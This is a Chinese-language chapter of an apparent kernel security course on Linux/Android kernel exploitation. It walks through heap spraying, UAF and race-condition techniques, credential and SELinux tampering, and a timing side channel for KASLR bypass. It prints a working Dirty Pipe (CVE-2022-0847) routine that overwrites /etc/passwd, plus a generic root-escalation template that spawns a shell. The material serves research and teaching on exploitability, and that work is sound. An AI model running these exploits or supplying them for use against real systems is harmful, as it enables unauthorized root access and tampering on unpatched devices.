5x05 - Kernel Exploitation Techniques
内核漏洞利用的目标通常是获取 Root 权限并绕过 SELinux。
本章聚焦"研究视角的利用链评估":给定一个内核 bug,如何判断其影响面、可利用性与被缓解机制阻断的位置。
1. 利用链模型
1.1 典型利用链阶段
[漏洞触发] → [原语构造] → [信息泄露] → [任意读写] → [提权] → [持久化]
↓ ↓ ↓ ↓ ↓ ↓
稳定复现 OOB/UAF bypass KASLR 堆布局 修改cred SELinux- 触发与稳定复现:在受控环境里稳定触发(避免不确定竞态)
- 能力原语确认:bug 能提供什么能力(越界读写、UAF、任意读写、信息泄露等)
- 绕过/对抗缓解:KASLR/CFI/PAN/PXN/PAC/MTE 等会在不同位置打断链路
- 权限边界影响评估:是否能从应用域跨到更高权限(含 SELinux domain)
- 持久化与后续影响评估:是否影响 boot chain、是否可跨重启、是否破坏数据完整性
1.2 漏洞类型与原语映射
| 漏洞类型 | 直接原语 | 典型转换目标 |
|---|---|---|
| 堆溢出 (Heap Overflow) | 相邻对象覆写 | 任意写、类型混淆 |
| Use-After-Free | 悬空指针读写 | 任意读写、代码执行 |
| 栈溢出 (Stack Overflow) | 返回地址覆写 | ROP 链 |
| 越界读 (OOB Read) | 信息泄露 | KASLR bypass |
| 整数溢出 | 大小计算错误 | 堆溢出 |
| 条件竞争 (Race Condition) | TOCTOU | UAF、double-free |
| 空指针解引用 | 受限读写 | 特定条件下可利用 |
2. 核心利用技术
2.1 堆利用基础
SLUB 分配器结构:
c
// Linux SLUB 空闲链表
struct kmem_cache {
struct kmem_cache_cpu *cpu_slab;
// ...
};
// 空闲对象通过 freelist 指针链接
// 对象布局:
┌─────────────────────────────────────┐
│ freelist ptr │ object data ... │
└─────────────────────────────────────┘堆喷射 (Heap Spray):
c
// 目标:用可控内容占用释放的内存
// 常用对象:
// 1. msg_msg - 可变大小,用户可控内容
struct msgbuf {
long mtype;
char mtext[size]; // 用户控制内容
};
// 喷射代码
for (int i = 0; i < SPRAY_COUNT; i++) {
msgsnd(msgq_id, &msg, sizeof(msg.mtext), 0);
}
// 2. sk_buff - 网络包,灵活大小
// 3. pipe_buffer - 管道缓冲区
// 4. setxattr - 可控大小的临时分配Cross-cache 攻击:
c
// 当目标对象和可控对象不在同一 slab cache 时
// 需要耗尽目标 cache,触发 buddy allocator 合并/拆分
// 步骤:
// 1. 大量分配目标 cache 对象,填满所有 slab
// 2. 释放目标对象,触发 slab 回收到 buddy
// 3. 分配可控对象,从 buddy 获取同一页面2.2 UAF 利用模式
经典 UAF 利用流程:
c
// 1. 分配目标对象
struct target_struct *target = kmalloc(sizeof(*target), GFP_KERNEL);
// 2. 触发释放 (漏洞)
kfree(target); // target 变成悬空指针
// 3. 重新占用 (堆喷射)
// 用 msg_msg 占用相同大小的内存
struct msgbuf *msg = /* 准备伪造数据 */;
msgsnd(msgq_id, msg, TARGET_SIZE - sizeof(long), 0);
// 4. 通过悬空指针操作伪造对象
target->func_ptr(); // 如果 func_ptr 被我们控制...// 利用策略: // 1. 创建 binder_thread // 2. 触发 epoll_ctl 引用 binder_thread->wait // 3. 调用 BINDER_THREAD_EXIT 释放 binder_thread // 4. 用 iovec 结构占用释放的内存 // 5. 触发 epoll 回调,操作伪造的 wait queue entry
// 关键:iovec 的 iov_base 指向任意地址 struct iovec { void *iov_base; // 控制这个 = 任意地址读写 size_t iov_len; };
### 2.3 条件竞争利用
**竞争窗口扩展技术**:
```c
// 问题:竞争窗口太小,难以稳定触发
// 解决:通过各种技术扩大窗口
// 1. userfaultfd - 用户空间页面错误处理
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC);
struct uffdio_api api = {.api = UFFD_API};
ioctl(uffd, UFFDIO_API, &api);
// 注册监控区域
struct uffdio_register reg = {
.range = {.start = addr, .len = PAGE_SIZE},
.mode = UFFDIO_REGISTER_MODE_MISSING
};
ioctl(uffd, UFFDIO_REGISTER, ®);
// 当内核访问该区域时,会阻塞等待用户空间处理
// 在处理函数中可以执行竞争操作
// 2. FUSE - 控制文件系统操作时机
// 3. CPU 亲和性 - 控制线程调度CVE-2025-38352 (Chronomaly) 完整利用:
c
// 漏洞:POSIX CPU 定时器竞争条件
// kernel/time/posix-cpu-timers.c
// 竞争场景:
// Thread A: exit() → 进程变成僵尸 → task_struct 可被释放
// Thread B: handle_posix_cpu_timers() 仍在访问 task_struct
// 利用步骤:
// 1. 创建大量线程扩大竞争窗口
#define THREAD_COUNT 1000
for (int i = 0; i < THREAD_COUNT; i++) {
pthread_create(&threads[i], NULL, racer_thread, NULL);
}
// 2. 设置 CPU 定时器
struct itimerspec its = {
.it_value = {.tv_sec = 0, .tv_nsec = 1},
.it_interval = {.tv_sec = 0, .tv_nsec = 1}
};
timer_settime(timer_id, 0, &its, NULL);
// 3. 快速 fork + exit 制造僵尸进程
while (1) {
pid_t pid = fork();
if (pid == 0) {
_exit(0); // 子进程立即退出
}
// 不 wait,让其变成僵尸
}
// 4. 堆喷射占用释放的 task_struct
// 使用 sendmsg + msg_msg 结构
// 5. 当定时器回调触发时,操作伪造的 task_struct
// 构造 cred 指针指向用户可控区域2.4 数据流攻击 (Data-Only Attacks)
现代缓解 (CFI/PAC) 使控制流劫持困难,数据流攻击成为主流:
修改 cred 结构:
c
// 目标:直接修改进程凭证
struct cred {
atomic_t usage;
kuid_t uid; // offset: 4
kgid_t gid; // offset: 8
// ...
kernel_cap_t cap_inheritable;
kernel_cap_t cap_permitted;
kernel_cap_t cap_effective; // offset: 40
// ...
};
// 利用任意写原语
void priv_escalate(uint64_t cred_addr) {
// 清零 uid/gid
arb_write_32(cred_addr + 4, 0); // uid = 0
arb_write_32(cred_addr + 8, 0); // gid = 0
// 设置 full capabilities
arb_write_64(cred_addr + 40, 0xffffffffffffffffULL);
}
// 如何找到 cred 地址?
// 1. 泄露 current task_struct 地址
// 2. 读取 task->cred 指针修改 SELinux 上下文:
c
// SELinux 上下文存储在 task_struct->cred->security
// 对于 Android:
struct task_security_struct {
u32 osid; // 原始 SID
u32 sid; // 当前 SID
u32 exec_sid; // exec() 时使用的 SID
// ...
};
// 修改为特权域
// u:r:kernel:s0 的 SID 值可通过 /sys/fs/selinux 查询修改文件描述符表:
c
// 通过修改 fd table 获得特权文件访问
struct fdtable {
unsigned int max_fds;
struct file **fd; // 文件指针数组
// ...
};
// 替换 fd[x] 指向特权文件的 struct file3. KASLR Bypass 技术
3.1 信息泄露源
c
// 常见内核地址泄露来源
// 1. /proc 接口泄露
// 某些接口在打印时包含内核指针
cat /proc/timer_list // 历史上曾泄露
// 2. 未初始化内存
struct leaked {
void *kernel_ptr; // 未清零
char user_data[64];
};
// 读取 kernel_ptr 获得地址
// 3. 格式化字符串
// 内核 printk 可能打印指针
printk("%p\n", kernel_ptr); // 现代内核会 hash
// 4. 越界读
// OOB read 读取相邻对象的指针字段3.2 侧信道泄露
c
// Prefetch 时间侧信道
static inline uint64_t rdtsc_begin() {
uint32_t lo, hi;
asm volatile("mfence; rdtsc" : "=a"(lo), "=d"(hi));
return ((uint64_t)hi << 32) | lo;
}
int probe_kernel_address(void *addr) {
uint64_t t1, t2;
t1 = rdtsc_begin();
// ARM: 使用 prfm 指令
// x86: 使用 prefetch 指令
asm volatile("prefetcht0 (%0)" : : "r"(addr));
t2 = rdtsc_begin();
return (t2 - t1) < THRESHOLD; // 映射地址更快
}
// 扫描可能的内核基址
for (uint64_t base = KERNEL_MIN; base < KERNEL_MAX; base += 0x200000) {
if (probe_kernel_address((void *)base)) {
printf("Found kernel at: 0x%lx\n", base);
break;
}
}4. 完整利用案例
4.1 CVE-2022-0847 (Dirty Pipe)
漏洞原理:
c
// pipe 缓冲区标志位未正确初始化
// 可以向任意文件写入数据(绕过权限检查)
// 漏洞位置:fs/pipe.c
// copy_page_to_iter_pipe() 设置 PIPE_BUF_FLAG_CAN_MERGE
// 但在某些路径下该标志未清除
// 利用:让 pipe 缓冲区指向目标文件的 page cache
// 然后写入数据,直接修改文件内容利用代码:
c
#include <fcntl.h>
#include <unistd.h>
#include <sys/stat.h>
void dirty_pipe_write(const char *path, loff_t offset,
const char *data, size_t len) {
// 1. 打开目标文件(只需读权限)
int fd = open(path, O_RDONLY);
// 2. 创建 pipe
int pfd[2];
pipe(pfd);
// 3. 填满 pipe 缓冲区
const size_t pipe_size = fcntl(pfd[1], F_GETPIPE_SZ);
static char buf[4096];
for (size_t i = 0; i < pipe_size / sizeof(buf); i++) {
write(pfd[1], buf, sizeof(buf));
}
// 4. 清空 pipe(留下带 MERGE 标志的缓冲区)
for (size_t i = 0; i < pipe_size / sizeof(buf); i++) {
read(pfd[0], buf, sizeof(buf));
}
// 5. splice 目标文件到 pipe
// 这会让 pipe 缓冲区指向文件的 page cache
loff_t off = offset;
splice(fd, &off, pfd[1], NULL, 1, 0);
// 6. 写入数据 - 由于 MERGE 标志,直接写入 page cache!
write(pfd[1], data, len);
close(fd);
close(pfd[0]);
close(pfd[1]);
}
// 利用示例:修改 /etc/passwd 提权
dirty_pipe_write("/etc/passwd",
offset_of_root_entry + 5, // 'x' in "root:x:0:0:..."
"", // 清空密码字段
1);4.2 通用 Android 提权模板
c
// 通用内核提权框架
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/syscall.h>
// 全局变量
uint64_t kernel_base;
uint64_t current_task;
uint64_t init_cred;
// Step 1: 信息泄露
int leak_kernel_base() {
// 实现特定漏洞的地址泄露
// 或使用侧信道技术
return 0;
}
// Step 2: 获取任意读写原语
uint64_t arb_read_64(uint64_t addr);
void arb_write_64(uint64_t addr, uint64_t val);
// Step 3: 定位关键结构
uint64_t find_current_task() {
// 方法1: 读取 per-cpu 变量
// 方法2: 遍历 task 链表
// 方法3: 从已知地址计算
return 0;
}
// Step 4: 提权
void escalate_privileges() {
uint64_t cred = arb_read_64(current_task + CRED_OFFSET);
// 修改 uid/gid
arb_write_64(cred + UID_OFFSET, 0); // uid = 0
arb_write_64(cred + GID_OFFSET, 0); // gid = 0
// 设置 capabilities
arb_write_64(cred + CAP_OFFSET, 0xffffffffffffffffULL);
// 修改 SELinux context (可选)
// ...
}
// Step 5: 执行特权操作
void post_exploit() {
// 验证提权成功
if (getuid() == 0) {
printf("[+] Got root!\n");
system("/bin/sh");
}
}
int main() {
printf("[*] Starting exploit...\n");
// 泄露地址
if (leak_kernel_base() < 0) {
printf("[-] Failed to leak kernel base\n");
return 1;
}
printf("[+] Kernel base: 0x%lx\n", kernel_base);
// 定位当前进程
current_task = find_current_task();
printf("[+] Current task: 0x%lx\n", current_task);
// 提权
escalate_privileges();
// 执行 shell
post_exploit();
return 0;
}5. 可利用性评估清单
| 评估维度 | 关键问题 | 评分依据 |
|---|---|---|
| 触发可控性 | 是否需要特殊权限?是否可远程触发? | 无特权本地触发 > 需 ADB > 需物理接触 |
| 原语强度 | 信息泄露/有限写/任意读写? | 任意读写 > 有限写 > 信息泄露 |
| 稳定性 | 竞争条件?堆布局依赖? | 确定性触发 > 高概率 > 需要爆破 |
| 缓解状态 | 目标设备启用了哪些缓解? | 需逐一评估 KASLR/CFI/MTE/PAC |
| 影响范围 | 影响版本/设备数量? | 通用漏洞 > 特定版本 > 特定设备 |
| 检测难度 | 是否产生明显日志? | 静默利用 > 单次崩溃 > 多次崩溃 |